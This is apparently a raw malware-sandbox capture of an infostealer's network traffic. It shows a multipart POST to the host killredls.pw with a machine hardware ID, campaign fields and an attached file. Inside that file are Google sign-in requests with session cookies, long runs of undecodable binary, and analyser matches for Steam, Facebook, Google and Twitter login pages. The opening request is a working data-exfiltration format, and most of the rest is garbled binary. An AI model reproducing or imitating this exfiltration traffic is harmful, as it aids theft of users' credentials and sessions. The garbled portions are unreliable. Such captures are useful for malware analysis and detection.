HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 532Host: killredls.pw--SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"17BA1A51B54DF32384656C62E387795BAE26AFD4--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"3--SqDe87817huf871793q74Content-Disposition: form-data; name="lid"HHhUQl--new--SqDe87817huf871793q74Content-Disposition: form-data; name="file"; filename="file"Content-Type: attachment/x-objectPK"; File: "PCAP")5e:T849f,"GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comConnection: Keep-AliveAccept-Language: en-US" "HTTP/1.1 302 Moved TemporarilyContent-Type: text/html; charset=UTF-8Strict-Transport-Security: max-age=31536000; includeSubDomainsSet-Cookie: __Host-GAPS=1:Kjs7MzJFVEMfogIinIrjQRSv0nEgaQ:mLdjOpr27Sx6_PE3;Path=/;Expires=Tue, 11-Nov-2025 19:12:45 GMT;Secure;HttpOnly;Priority=HIGHX-Frame-Options: DENYContent-Security-Policy: script-src 'nonce-BTxU-6Xrtx5ultOX-T1b5Q' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';report-uri /cspreportLocation: https://accounts.google.com/ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2FContent-Encoding: gzipDate: Sun, 12 Nov 2023 19:12:45 GMTExpires: Sun, 12 Nov 2023 19:12:45 GMTCache-Control: private, max-age=0X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockServer: GSEAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Transfer-Encoding: chunked" "0000000100000001�0000000100000001000000010000000100000001000000010000000100000001�00000001�00000001P00000001A00000001j0001�de0��B!=ZN��u��X�K_E�1��ax%�u��~�7Q�8z�IN��#��_�o�d��)��2�Q|&��Ht@ΨfƑNZ��:eJ;�F�ĘTg�l�"��5{�i��f7Jk��6y|H�;��g��f�4��s%˳��À��x��fL�Y�ž�K��P�/��@�R", "HTTP/1.1 302 Moved TemporarilyContent-Type: text/html; charset=UTF-8Strict-Transport-Security: max-age=31536000; includeSubDomainsSet-Cookie: __Host-GAPS=1:Q4NH8nLKpnhRwP6BblxG8TGzK7bFpw:5O_R6rRQDCMIrG9X;Path=/;Expires=Tue 11-Nov-2025 19:12:46 GMT;Secure;HttpOnly;Priority=HIGHX-Frame-Options: DENYContent-Security-Policy: script-src 'nonce-eHDaC4MjFeR_fg5YLbVx5g' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';report-uri /cspreportLocation: https://accounts.google.com/ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2FContent-Encoding: gzipDate: Sun 12 Nov 2023 19:12:46 GMTExpires: Sun 12 Nov 2023 19:12:46 GMTCache-Control: private max-age=0X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockServer: GSEAlt-Svc: h3=":443"; ma=2592000 h3-29=":443"; ma=2592000Transfer-Encoding: chunked", "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html application/xhtml+xml */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:Kjs7MzJFVEMfogIinIrjQRSv0nEgaQ:mLdjOpr27Sx6_PE3Connection: Keep-AliveAccept-Language: en-US", "HTTP/1.1 302 FoundContent-Type: application/binarySet-Cookie: __Host-GAPS=1:ymZRAemFruadtEwjL5QVbq-zSh0iFg:IlW1hMx6yF9ml4lL; Expires=Tue 11-Nov-2025 19:12:50 GMT; Path=/; Secure; HttpOnly; Priority=HIGHCache-Control: no-cache no-store max-age=0 must-revalidatePragma: no-cacheExpires: Mon 01 Jan 1990 00:00:00 GMTDate: Sun 12 Nov 2023 19:12:50 GMTLocation: https://accounts.google.com/InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyzURLWHcKfzUisoZTTCX94C38kCKw8Inv5mv5hFiLR5y6SFPV5zR_Pd41NgG8b7FmAi2A2LMgStrict-Transport-Security: max-age=31536000; includeSubDomainsAccept-CH: Sec-CH-UA-Arch Sec-CH-UA-Bitness Sec-CH-UA-Full-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Model Sec-CH-UA-WoW64 Sec-CH-UA-Form-Factor Sec-CH-UA-Platform Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: unsafe-noneContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsSigninPassiveLoginHttp/cspreportContent-Security-Policy: script-src 'nonce-ZH6lepkymI370eRdhb1atw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsSigninPassiveLoginHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=* ch-ua-bitness=* ch-ua-full-version=* ch-ua-full-version-list=* ch-ua-model=* ch-ua-wow64=* ch-ua-form-factor=* ch-ua-platform=* ch-ua-platform-version=*Cross-Origin-Resource-Policy: cross-originServer: ESFContent-Length: 0X-XSS-Protection: 0X-Content-Type-Options: nosniffAlt-Svc: h3=":443"; ma=2592000 h3-29=":443"; ma=2592000", "GET /InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyzURLWHcKfzUisoZTTCX94C38kCKw8Inv5mv5hFiLR5y6SFPV5zR_Pd41NgG8b7FmAi2A2LMg HTTP/1.1Accept: text/html application/xhtml+xml */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:ymZRAemFruadtEwjL5QVbq-zSh0iFg:IlW1hMx6yF9ml4lLConnection: Keep-AliveAccept-Language: en-US", "HTTP/1.1 302 Moved TemporarilyContent-Type: text/html; charset=UTF-8Set-Cookie: __Host-GAPS=1:ovQhX184X5GA1oSK7qXaZsx1oc-Lxw:skb4C-G5JMyhLf-l;Path=/;Expires=Tue 11-Nov-2025 19:12:53 GMT;Secure;HttpOnly;Priority=HIGHX-Frame-Options: DENYCache-Control: no-cache no-store max-age=0 must-revalidatePragma: no-cacheExpires: Mon 01 Jan 1990 00:00:00 GMTDate: Sun 12 Nov 2023 19:12:53 GMTLocation: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyznYjlqSYE5JlLK9PJsTmzOQsU1P2LVa3cVV6VwvBbN6FvPqPdn3WvevBRR2hCo6z5_k7fyXw&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S369200035%3A1699816373710141&theme=glifStrict-Transport-Security: max-age=31536000; includeSubDomainsContent-Security-Policy: script-src 'nonce-oiEB5jA0eOl9-jPrhI-qTQ' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';report-uri /cspreportContent-Security-Policy: require-trusted-types-for 'script';report-uri /cspreportReport-To: {"group":"coop_gse_qebhlk" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gse_qebhlk"}]}Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_qebhlk"Content-Encoding: gzipX-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockServer: GSEAlt-Svc: h3=":443"; ma=2592000 h3-29=":443"; ma=2592000Transfer-Encoding: chunked", "GET /v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyznYjlqSYE5JlLK9PJsTmzOQsU1P2LVa3cVV6VwvBbN6FvPqPdn3WvevBRR2hCo6z5_k7fyXw&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S369200035%3A1699816373710141&theme=glif HTTP/1.1Accept: text/html application/xhtml+xml */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:ovQhX184X5GA1oSK7qXaZsx1oc-Lxw:skb4C-G5JMyhLf-lConnection: Keep-AliveAccept-Language: en-US", "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html application/xhtml+xml */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:Q4NH8nLKpnhRwP6BblxG8TGzK7bFpw:5O_R6rRQDCMIrG9XConnection: Keep-AliveAccept-Language: en-US", "HTTP/1.1 200 OKContent-Type: text/html; charset=utf-8X-Frame-Options: DENYVary: Sec-Fetch-Dest Sec-Fetch-Mode Sec-Fetch-SiteSet-Cookie: __Host-GAPS=1:3SlZuqG_5jZCTdkY-Fdl39pLgLHbYA:PivD-Sh3p4p7Xuz1; Expires=Tue 11-Nov-2025 19:12:54 GMT; Path=/; Secure; HttpOnly; Priority=HIGHx-auto-login: realm=com.google&args=continue%3Dhttps://accounts.google.com/x-ua-compatible: IE=edgeCache-Control: no-cache no-store max-age=0 must-revalidatePragma: no-cacheExpires: Mon 01 Jan 1990 00:00:00 GMTDate: Sun 12 Nov 2023 19:12:54 GMTStrict-Transport-Security: max-age=31536000; includeSubDomainsAccept-CH: Sec-CH-UA-Arch Sec-CH-UA-Bitness Sec-CH-UA-Full-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Model Sec-CH-UA-WoW64 Sec-CH-UA-Form-Factor Sec-CH-UA-Platform Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /v3/signin/_/AccountsSignInUi/cspreportContent-Security-Policy: script-src 'nonce-G_DiSgJVmads7betHe2p4w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /v3/signin/_/AccountsSignInUi/cspreport;worker-src 'self'Report-To: {"group":"AccountsSignInUi" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/AccountsSignInUi"}]}Cross-Origin-Resource-Policy: same-sitePermissions-Policy: ch-ua-arch=* ch-ua-bitness=* ch-ua-full-version=* ch-ua-full-version-list=* ch-ua-model=* ch-ua-wow64=* ch-ua-form-factor=* ch-ua-platform=* ch-ua-platform-version=*Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="AccountsSignInUi"Content-Encoding: gzipServer: ESFX-XSS-Protection: 0X-Content-Type-Options: nosniffAlt-Svc: h3=":443"; ma=2592000 h3-29=":443"; ma=2592000Transfer-Encoding: chunked", "0000000100000001�0000000100000001000000010000000100000001000000010000177�RMO�@��W�˗��PC-��"ړA`-�R�nC�[j%��)]S��0|~Z�K��m��)�!�u��x��g �$:�k!�P�8�&�3�Ĭ�Kz/Ia��i7%$͡�Bb�DQ��P��(AP=F�g�V˼��ku��|^��!!yN��e��~��r��Xͨ_��k��T7�(��Ȇ�}�V�U��7l�yj�D�S�c�O��c�[��"��ʆ.˗��l��9G�|n��S��rp]5�*�"pI�.��f�F��N�nw��"+�J��3��)T`J��=�ں��o��*b", "0000000100000001�000001ea��PAj�0��B!=ZN��u��X�K_E�1��ax%�u��~�7Q�8z�IN��#��_�o�d��)��2�Q|&��Ht@ΨfƑNZ��:eJ;�F�ĘTg�l�"��5{�i��f7Jk��6y|H�;��g��f�4��s%˳��À��x��fL�Y�ž�K��P�/��@�R" "HTTP/1.1 302 FoundContent-Type: application/binarySet-Cookie: __Host-GAPS=1:KXBGKws54CzuVrznDTMbxRZPC9FttQ:1z4h4S16XwuAupn3; Expires=Tue, 11-Nov-2025 19:12:55 GMT; Path=/; Secure; HttpOnly; Priority=HIGHCache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sun, 12 Nov 2023 19:12:55 GMTLocation: https://accounts.google.com/InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyw44fH8B0xPRlfXb7rAm6jqDrHa67KayB1ZJkgcCFf0K0a2_XrqfkKMJ6elx6ZDRBEqvKGVXgStrict-Transport-Security: max-age=31536000; includeSubDomainsCross-Origin-Opener-Policy: unsafe-noneCross-Origin-Resource-Policy: cross-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsSigninPassiveLoginHttp/cspreportContent-Security-Policy: script-src 'nonce-Ak8ovpLlaLFUvoJV3oIvFg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsSigninPassiveLoginHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factor=*, ch-ua-platform=*, ch-ua-platform-version=*Server: ESFContent-Length: 0X-XSS-Protection: 0X-Content-Type-Options: nosniffAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000" "GET /InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyw44fH8B0xPRlfXb7rAm6jqDrHa67KayB1ZJkgcCFf0K0a2_XrqfkKMJ6elx6ZDRBEqvKGVXg HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:KXBGKws54CzuVrznDTMbxRZPC9FttQ:1z4h4S16XwuAupn3Connection: Keep-AliveAccept-Language: en-US" "F��Q��O�@��-W&/�̹Y��3��O��,�4��c�d�U�.��A�+wsd_�*1%�}�Ȥ(U��_�f�-�p�o쓩�Q��gd��G.m�6�^$vu�&N��M*W�JI�!��GqT��`��X�t��ą)�JN��{��3��:\TylOĚmf�DG��Qe5:> ��M�4��}�i��^��&�_j@[zʉ�h��i�+l��&P�p��L '�u�S}�+��h�ZiSa��gSē9��]��nK~��8�h��wg�|Ï�I�r�ȵ�>u-Gy��zd$��T5~'�[��9�h@W�Ty�S��Ea�]w̅L�^c� �Ώ״��ާ��<��*5u]Z��S�(%��;^�$�s��H�ҞG�O��N��z˝�k��(̤��d��:�sH��Q�}$�S��T��e��-zh��~'̍2q�S=Ŋɣ�Z�PW�1��S�*D��8�)Rn�8t9|[.��~[�z=��UtM��p��4PH+��"b��;��Z�.��5r�t�C�BXs��9,�Ş�h!|p9��>O��W��R�J��r1��J�i6��=��hTՂCmE2Ǜ*UN��H$R#��_RcV`Yy��!��5=��+{�5<�b0�B|��k[�f1��s��f��6�R��m�'�lM��=��v��ȵaDg�㶒cm�2��e��۳�2��e��k@NC]c|��x0�k�ŕ�Z�d��2��P��*��#�_1��Tj/%��+ص�J��U�r$��f��!�h��欄�z�_��i��7/��{��ъ�2��q��f�D��8�[�+��#�n�do�\:6��{�=Ց9�PXh��t�h��Mɚ��ꯆ:��/��7�gc2��~!�E��!�b��y�2>��;��s:��X`�t��.�q`�:�c��[��y�y�R�&q3e��wn��C��L�Uԅ�]��L��;i�N�p��;��6�yW�_�F$k��c��l�K�M;Z@ՠ��;K�r?��>�F��<�$A��w�R�ݺ~��3��Ma�N}�_�/{�y��5+��t��@��W��Q�5�4��`�OZ" ".��]�H��|�wJd��l�u��c�p��e�R��t��U��I�"��A�J�65�A-�?K��E��>�t�R��w��+l��>��D3o<�j�&��H@��c��"��/@ź�Џn��h+w�ѡ��0�4w��~�Y/�3Q��nj��}�Oy�2�/��f�G�¥c��4EA��i��^EMl�>��aJ~/_��]��]@�>6� H�ރj��3Ϥ��gu�|J�Z�\>�0��l��b�苞F5ܻ��?rG��I�E02O,Y��q1��If#pN��"�&��u��hH�Z[��aZ��W?;|�F��p��V�ۑד�pE�9BI��xY}%^r�6�P��O1`�Mu��R}��e��'��(l��'$��3�1Q:Wc��IU}g�1TSJF4w&�v�>HNױE��<�i�|Jܴ�ዂt��Gm��iB��i�M?��KɀG� Wa��4#u��79ˆ�\��#��y��}Nd�}7��L_Y�m�[[��td�#�z��x��gڥb\��֢i��A=�܀��V��{��+��J椠|�d��n��O��[\t15�(�9P��=�ё��7?9�3#qtV��ξZ�\N��;�q��%1L�s��5��5MX��D�h��?Ґ̜ J�!��b��`>��Ld�ƽ�*��#�v2��;��+��j�>f��,��V|��&�V�/9�k��l��iWܕX[`n-C L�"��dC$��;[M�)��Kc鲰|']D+\)��G�">zj��>��B<�N<�S�wn��`>Z/>��n��M;��.s��]��~�RϤ��0#��s��z�8>c]8"�i��C��j:+X�.\$v�/�BBk�{}�Ό�UMK��c]�`�g3�@D�׻iC�Ι(��VE_��H�P�)ͳf�i0�Ȑ)!�4��*� s��a̳��*�l��e��'��#�FX��z8�S� &", "H�R�C�1L4�sR��`t]��w�ۮ|��Ą�4�F^kr��H��6��Z$U/�n|�i8��[�y��t��;U�T*YeG��mj��*�̎&gED��ĉ~{#4��z�q-@�F��&�?�y�*f��^��[Ձ~��U�x�ص�%�'��F�Ih�h�O��v֔iz��SÂ��{1��R`}u��[��^y��}��B>r��f�qd�� 6CNO�e��,*E��"� ��hUO��)w�]�^6��_*E�ρh��*�K��x΄�2Ը��a�g%�q��oz�D�Ա�T9�/zo�ūN��/��:æ��'E��i<��0��`!��)+�Y�%�8O�]�K_Q�VS��m��(�q�oC�d�W��ֿh(W�I��F�n�֝Q#�� D�~�n��pU��E�-42��y��&�Tl��$�N�߉��ZdZn �Pn��@�%��R��o�$Q`O=;[��z��t��z��`�7V��(ג7{f��ˡ�o��L��bFx��?8[|��]��G~}��n��]9�c�`A��4��(�2��hx(�l��\EIZ��ٜ3�O7�F'�L��Obo�q�qWq�w��;3|��#ک��~�Gr�~�Ջ�R��*qk��n��\�AR�YE�Q�M)R)��J�ְ��cs��Hˍ��(Z�q��K>�Iϝ�e]��G��YxSIZ��촸��(��M^�j�N?�%�n�g��6^P�s�(��Hd߂��ނ6��{�4�a��BW#��X�.^'|ꖘ3�a�ĺ��̟��?�~�P��'%�m��/��I��a�z��<��P��7�.{ؙ��`��.�c��X�ŖI�"��c�'�/9�~�VO��R��x�Cb?C(9�l��4{��a��ΈK$*�v��M{��&���>�߀ _�Ҹo^��x��U�#�4��u-�!��T��`;�䅲gk�=UY3&��", "��`9j��9�Q�#�[��S��*?�뾬G��x��y>ݨo�A?�}1��z ��RP�p+�'˱�{�r��+i�(��ᵎLoZ��k&c��4,|�Ǭ�]��9��s��!*�%��Q'��J��l!'�`4�D�@��c?f�W��cp5�|��3"�16��(�@~1��y��R��)�� A ��gj�]M|T"��7[t|͐��YJx��߉4�ƹw�$��p��20�|�T_eW�%��b�^�U�,~׈eiG��"��Q��F��s@��3c�q�u�K��{a�-�&N��֙ZW��nJۥ��wN��̤'��%��z�Yc� �ٍW��ps��ͺ�p�X�P=:b��mօu+?�Z$y��M�9�,PY%�'�A|Kp_�x�`�7d\��/C<閠A��9`v1��̅h��cSK��i��`�p�A&ϝ�b��.��"*��õ�+f��3\��"i��!�{�ʸ@�o)I�{�43Ҍ�gh�66O;�V�v�_�R_�!�6_U�N��9��{G?�{{슛!f�x�n��8Nˤ"��u�"�;�$�%��4S�ψ��=��ܦ��t+��}�h�"w�Ŵ7�CO�`50�a�O{ٗ~�"U(��䬒�#̤�[̈�V��AT��a��4��7��|��Ϋ9�JD�>��*��0�C�d��`��>��@��!��f=(^Z��N�\�Gs}�;��M{d��}�A��+�c�o&��(��zG^'�Ĩ��"�ԫ��KD�"2A0ֺ\A��6�gJ�K�fU�vpn��H��G熛ٽ�Q=��M�&5��>@-d�&��g#�� }�� $��I��W��Hy�S��"��i��B��+a��>V�o^o,�3\��̋��O�I_�d�{)Ġ�t{�Y�>��W�V�oXr��~"F�z�q_|j.{�A�:�[��}�&1FUi��>��/�YF��9,B��~��4�J�/&��.Mh��cr�+N��~vQ��_K��ًi~(@�P�ޭU��R 2Yx!k/[��>p�L�3o��sY��z�]�J�7��;ߙ}��v�/_�t|9FSRю�@��/�ݞ"&�RR;��R]_�X�Ɩ|�a��FUӵ^��I蕲�B��"81��|��B�7W�**͇ߩf��_��lϵY�l��|S�K�0��nf�o=�57��lp3��w��)Ȇ��Kn��sëAI�,�E��Ih=�o&p}�� U�m�b[ṿ��[��T��1d�ny��xń[��c��'7�-��\�O�_��{��˪4��9"(}�݉��7�bƽL�g�~Z��[��F��Cv�R�r��i�`ln+��|�7PB��}v�t��Sr��$k�H�&�`��)�D�d_-�d?dz��D>��"��\*��z+�*��j�Ԫw�w�ߑ�z_��D��S��9� �v�-PK�%�N�M_K�1��jF�;d��"]�h/��")<��Y�x��ϐ�ȉ�)��C6��*l~��tbA͔9l�E�gfV0Es��J�aŲ:D`�M臹ֳ��e�R|5��q#+{>7�`�*T/�$��O�*��q&�d�vȏ�d@��~#�|~-��'yW��a8�ΰ�=y��_��f��0�0eZۥ�� x��K�'pAb�3��d�<,T��N��4<+��[��`��k1��o�U�'7�(Ru��H��k`a�61�m��ѐwU��("��/�E�#I0j??��}$��n��S+��m}6&C�+��??T�O�3M*�؊�y��U��8d~�WH%O��LY!+�<�/��Nyϊ@�~?��j�fn��W:�x��ۮ��/��43��EE"�C�yg:䎑ci0��Nzu~6�BW��9�<>��sF)��9^��i��" "hO�JG;��:��,T��U��!k�͢߷��Ț_�Ǜ�,�n�S��Q��t�S�8�ޓ��,��l��V1;Q�qՔl�J��㏪e��0�,p�YS��v��(�E��(�9�:8cJ5�Vœ��bҳ��v��Hz�Cp�'��x_�U5S��x�+��ڙ6_y�h86��6m3ٞ��k)��͍��൤ .��Y�Lb�u;�KX\6H��Sȩ3�W�D��ۂT�#�~�� ԅW�g��<*%��{�Wu�U�<9��)��#o�[e�o.;��rbm8�*�i��o�d��hnԹnK=��/,]=ߵ}�Q�m��˭��.�;h��i]�S�ǔS�3�E}�}Fĭ��n?��Q�}:�Ϗ>��)��aS@��d�g�gs��\"S�!��0�S��m9�W�Kˍ@/�Y�8�(��0�u��_w�dKb[_��iOJ�Va3")�6��(E��gHa>��g0��$��sy��r��Qa��t��N<&9��ܝk�S��Q0%�6$Sk�4��D��Lv){!%��~_:��z��q��%�uъ[a�lnm��Z�K��0��~/�8F"\z2��>��J�s$��.��;�3V��/)�x�'��j��ʰP$ɛ�N��~�㠦A1EN�\�oRx)2.�I��[�i�rA/�}��9��j-�ފ�om�&�i�(�1[*�64ԋ��.{QG��F4�E��@X�W��,\Z��6��@3�j�]y�b��nڗ��W��Q4��(hPT��1]A�-vX꼎7Ĩ�cܬ?�"��-�v`�F!��4:8k�I��~�`Et��PKY3)�:��$�P�?L�#��/~!�#FP^�u��J��wE�*mo��Q�� E(�7%ŗ��<�]��4?��Wq7i{��7�|��ؾt4��f�h�YL��!+`�|+@j��1d�;�p�B��m�2��2e�ޚ`�a2��.��y��VO��Q3��zFOs37xH.�)j眃��j�k�0�Ŭ��n?��9:��q*��J�5ҤP��}Ϙ��5w�̣�1w�*�%��oH0��h�H�Tŗ^�m��d�U��S"2��]Q7��|!�a`n.V}��-�۬��<{��c�*��N��\��/U�w~��KK@��l��GMk��z�7a��oQ�" "}��~``�a��gC\r@K/3nt��<�@G��6�\��D��M8�h��$f�Ps"6�/�c�.�y��O�i6r_�F�<�r<�O�4��9�a�n�cA��z��g�kK��f��6��޹��l�� -�`��l��F#_�|�W��-�)�c~�$�W)h�ww��DJ�i��X�Z��[kUa�k23$��g�4*LU4�u~(��*��Ӛ��1��cW��0;�$�|3�'�ǃ1Rg.��ƣ��i�u�g�!�فE��'h�v�|��XJ#�K��5��T�N�c��S��sg�ݮ�F�:|/F�d��w��oMӥ��#�1�e1�5��iv��DȒW�.��3t�[{�s��`,�⛭a��{7g�X�@!-��3�p��k��C;)X�\+��*:ɼ��2*Sg-�+�WPu�bfy�c�z+.��}��`4d<��tJ�R�i_��X$��X��);��;[�V c�b��d 0�t��"�N�fS�3~��H�se��v�)�̞1��qT�^.7Ϩ�a�1�6F��!hc�s��3q]��|��M+:��İ�� nsq��'2��30JgY/��c�>�2m�N6O�Ax��K�Hfh4[r^ޠ�l�L�`(��H��Br��0��c��R��:��f��y�\�f��^e&ۧ�4<ҝ��WD��vJ�.�� N�=/N��-�owA��Ԭ�G�b��^%��Ψ�KO艬2��˘�f�F�Pf�� 2�d�B+ר��.�Q��j�F�&R�2][拓as3�Ͻ�-"�NŚ��'8̖ý�Kx�(YI��PU�0�ɀ��;�A��b��7�&�Db��l u)K��7}�8)?5�b<�F%3+�\��n|��ѩ�z�Te��ء9�S;��P��G̬�Q�IqЏs��;�i:p�*?��[��kclvL��a�ԤV(��~��4��\I.V�[fV��0��U�0��L4�;e�98��mה�Q$�p5-�6}�ɽ��vfG�ߖ��&u�<�D~@��BԌ&��sEn��`��т��h�Og��|+ת5f+qX�T%X̵��G]s��=��!){��I+��a.��֪�=ͨ��&�f�ѻ��=��$4)FP��U��3��#X�=�L��c`s�O{��|��<�-�2a��5܋��6��9��j��X`K��0��n?�t�4�p��1��vVv��ϰ��ES��<�", "�Y��<�1��ABa��jZv��D��x#�\9��ӃI/��J�}7��ȩ�J.!N3sL�]Y>��N�T.�s�A�\OE/�H�\S��Y��A��Q��O��],��8ɪ��=KD�)��V�3Z��ҩ�Xg�J��U��0��I�x�g��]�F[�_%��[ޑ0��8͌��I�Gd��5q�8��н�re�j7��'��y��A�j��8oڨz��Q��`��}بlvǑB�dX�V��'��Rӥ��3��dEOsm�N��B(t��z�!�]��N�̑S��1W�v�UG��o�s55tasIK��^S�)�j�$Q3�Tx��N�`f��vh&>�:3A��#z(?w$��稖�N�ӂjh�+e��|PJ�g��f��tB%�F+��d�Ma��V�[�n��x�(�M_��NȒ~[^9��o�h��jd��RB%&��cU:Qr��6ύ0X��O�;�E$B�Wq?�Y6��O��u�K]8.-?��Np��CN��f�$�n�&gb�nQ`��0��l�$�o��sb^�-�|ӫ%Ul��+�s�I��7|��1[μ>!�(jao��0��Q��aG�K]�>�Tܩ2&km��{�9:,��"�5�m��m#ΝBO��?��y��z�`��~��]��Ǉ��gݷ+��h�[Q��2�6��y�%��g�ngI��TG��ϭ?_�n��=��J�|�|׺��˻_g��zz��,D��p��q��o�y;��2�$��d��Ϗ��)��dc��g�/�}�T<��ܗ=#�j��a�ӏ�W^m>Lxvj��J^��]hI똥 �@R�l�{�2W��m� M��v�"�F��Bp�o#w��kp�n]��@ϲ��3��~��&SI�ڗ�4�p�\l�9?�.R�z�};5�5a��D�B�N�4��J��|��ֲ��|�_Z��YjO��?��ƴ�3YeC��c��z`�Ɂ��`�L}^1S�xmI3ѼcG+��̪1j<��s��6�n��>X�zqՕ�f{��2��uF�X]� u�l�`b֖̍ZO��p��W[��x��/,*p�2�"K��@�ƦTL��9�!�oø��U�ݑ��&(�q`dS�QD��qnK�޼��`,�W@�<.L7��4'D��7IC�*��}�@bǵ}��M`^Ά��"��]�!��"��8L.Q߆]�~�R#6�s�", "��#ŷ�\=K�H�ہ��W��j��o�� @�Q��$�ݤ7��Md�K��p~2��+�V�k<�vb��˜��x~W�3_P�GaZ�V}�:- �3T��"9\r΃�o(��@��pO��J��{�g��/#b��`0��m}�F^��&�s�}�ۦ�ȐR�t��y1�t��Х-�ڭ�C��\��v�T��M��$j'�^��0G��ne��^��nZ\�%�9�o{Q�=v��P��^>_��ԣ^dե�]=��k��{�c/�{��Ҝ�eI��CG_��_p�V��s��ݝ��(/��Q�gk�1^��/��d�V6�%�lY��Eʃ��G%ɸ�<��ʐ�`ks|$F��SZ�+��|�Su~o��%��R㋱�ۍ�$�z�?ce��/�!2�6�ئ4g��屜5�UQ,�'�l{Y׍�C��'k��8��ݣw�i� �Ά��y�//�B��"��ݗeFbڱ��3��O�/��Y=��u��ԧVƋu�Q�h�|��gզ�!\]gw\H�QXOX��e��c>��;�+�ê�ۺ�unnO�,h�j��܊k�m�ɴ1~W6g�g��z��G٫B��#ּ��?�15�f��dF�F 3�&1�� f�o�0��O��7��J��k�E�b�� 6��T�`�0��e��{��Y��<3��` #��{�w�W��7B��3/r�8|��:�'6�˿�ˇ�=��#�/Tn77��`]˴��"��1��p��a�>2D��x��F��l�f��fӬ�l�s��5Z�>��C��6�s/��I=��]�F�E��Ǐ��0��a�xLf��7��z+��z��?�^��4�#��(��7V��?��"5f:T3fe8,Pattern match: "https://store.steampowered.com/login/" Pattern match: "https://www.facebook.com/login" Pattern match: "https://accounts.google.com/" Pattern match: "https://twitter.com/i/flow/login" Heuristic match: "O[.Uk" Heuristic match: "SCV|.kH" Heuristic match: "ch-.Kh" Heuristic match: "?a$.Gp" Pattern match: "https://store.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english" Pattern match: 